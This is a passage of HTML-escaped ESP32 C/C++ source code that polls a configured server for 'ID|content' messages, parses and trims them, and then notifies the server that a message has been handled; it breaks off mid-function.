&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_http_client_config_t&amp;nbsp;config&amp;nbsp;=&amp;nbsp;{};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config.url&amp;nbsp;=&amp;nbsp;HTTP_NEXT_URL;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config.event_handler&amp;nbsp;=&amp;nbsp;HttpEventHandler;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config.user_data&amp;nbsp;=&amp;nbsp;&amp;amp;response_data;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config.timeout_ms&amp;nbsp;=&amp;nbsp;HTTP_GET_TIMEOUT_MS;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_http_client_handle_t&amp;nbsp;client&amp;nbsp;=&amp;nbsp;esp_http_client_init(&amp;amp;config);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!client)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGE(TAG,&amp;nbsp;&amp;quot;HTTP客户端初始化失败&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_err_t&amp;nbsp;err&amp;nbsp;=&amp;nbsp;esp_http_client_perform(client);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(err&amp;nbsp;==&amp;nbsp;ESP_OK)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;status_code&amp;nbsp;=&amp;nbsp;esp_http_client_get_status_code(client);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(status_code&amp;nbsp;==&amp;nbsp;200&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;response_data.buffer&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;response_data.size&amp;nbsp;&amp;gt;&amp;nbsp;0)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;解析格式:&amp;nbsp;&amp;quot;消息ID|消息内容&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char*&amp;nbsp;separator&amp;nbsp;=&amp;nbsp;strchr(response_data.buffer,&amp;nbsp;&amp;#39;|&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(separator)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*separator&amp;nbsp;=&amp;nbsp;&amp;#39;\0&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*out_message_id&amp;nbsp;=&amp;nbsp;atoi(response_data.buffer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char*&amp;nbsp;message_content&amp;nbsp;=&amp;nbsp;separator&amp;nbsp;+&amp;nbsp;1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size_t&amp;nbsp;content_len&amp;nbsp;=&amp;nbsp;strlen(message_content);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size_t&amp;nbsp;copy_len&amp;nbsp;=&amp;nbsp;(content_len&amp;nbsp;&amp;lt;&amp;nbsp;max_len&amp;nbsp;-&amp;nbsp;1)&amp;nbsp;?&amp;nbsp;content_len&amp;nbsp;:&amp;nbsp;max_len&amp;nbsp;-&amp;nbsp;1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(out_message,&amp;nbsp;message_content,&amp;nbsp;copy_len);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out_message[copy_len]&amp;nbsp;=&amp;nbsp;&amp;#39;\0&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;去除首尾空白字符
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char*&amp;nbsp;start&amp;nbsp;=&amp;nbsp;out_message;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(*start&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;(*start&amp;nbsp;==&amp;nbsp;&amp;#39;&amp;nbsp;&amp;#39;&amp;nbsp;||&amp;nbsp;*start&amp;nbsp;==&amp;nbsp;&amp;#39;\n&amp;#39;&amp;nbsp;||&amp;nbsp;*start&amp;nbsp;==&amp;nbsp;&amp;#39;\r&amp;#39;&amp;nbsp;||&amp;nbsp;*start&amp;nbsp;==&amp;nbsp;&amp;#39;\t&amp;#39;))&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;start++;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(start&amp;nbsp;!=&amp;nbsp;out_message)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memmove(out_message,&amp;nbsp;start,&amp;nbsp;strlen(start)&amp;nbsp;+&amp;nbsp;1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size_t&amp;nbsp;len&amp;nbsp;=&amp;nbsp;strlen(out_message);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(len&amp;nbsp;&amp;gt;&amp;nbsp;0&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;(out_message[len-1]&amp;nbsp;==&amp;nbsp;&amp;#39;&amp;nbsp;&amp;#39;&amp;nbsp;||&amp;nbsp;out_message[len-1]&amp;nbsp;==&amp;nbsp;&amp;#39;\n&amp;#39;&amp;nbsp;||&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out_message[len-1]&amp;nbsp;==&amp;nbsp;&amp;#39;\r&amp;#39;&amp;nbsp;||&amp;nbsp;out_message[len-1]&amp;nbsp;==&amp;nbsp;&amp;#39;\t&amp;#39;))&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out_message[--len]&amp;nbsp;=&amp;nbsp;&amp;#39;\0&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(strlen(out_message)&amp;nbsp;&amp;gt;&amp;nbsp;0)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;ID可以是0（随机话题）或大于0（真实消息）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;收到消息&amp;nbsp;[ID=%d]:&amp;nbsp;%s&amp;quot;,&amp;nbsp;*out_message_id,&amp;nbsp;out_message);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;success&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGW(TAG,&amp;nbsp;&amp;quot;消息内容为空&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGW(TAG,&amp;nbsp;&amp;quot;消息格式错误，缺少分隔符&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;if&amp;nbsp;(status_code&amp;nbsp;==&amp;nbsp;200)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;服务器返回空响应&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGW(TAG,&amp;nbsp;&amp;quot;HTTP状态码异常:&amp;nbsp;%d&amp;quot;,&amp;nbsp;status_code);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGE(TAG,&amp;nbsp;&amp;quot;HTTP&amp;nbsp;GET请求失败:&amp;nbsp;%s&amp;quot;,&amp;nbsp;esp_err_to_name(err));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(response_data.buffer)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(response_data.buffer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_http_client_cleanup(client);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;success;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;通知服务器消息处理完成
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;NotifyMessageComplete(int&amp;nbsp;message_id)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char&amp;nbsp;complete_url[256];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;snprintf(complete_url,&amp;nbsp;sizeof(complete_url),&amp;nbsp;HTTP_COMPLETE_URL,&amp;nbsp;message_id);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_http_client_config_t&amp;nbsp;config&amp;nbsp;=&amp;nbsp;{};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config.url&amp;nbsp;=&amp;nbsp;complete_url;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config.method&amp;nbsp;=&amp;nbsp;HTTP_METHOD_GET;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config.timeout_ms&amp;nbsp;=&amp;nbsp;3000;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_http_client_handle_t&amp;nbsp;client&amp;nbsp;=&amp;nbsp;esp_http_client_init(&amp;amp;config);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!client)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGE(TAG,&amp;nbsp;&amp;quot;HTTP客户端初始化失败&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_err_t&amp;nbsp;err&amp;nbsp;=&amp;nbsp;esp_http_client_perform(client);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;success&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(err&amp;nbsp;==&amp;nbsp;ESP_OK)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;status_code&amp;nbsp;=&amp;nbsp;esp_http_client_get_status_code(client);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(status_code&amp;nbsp;==&amp;nbsp;200)&amp;nbsp;{
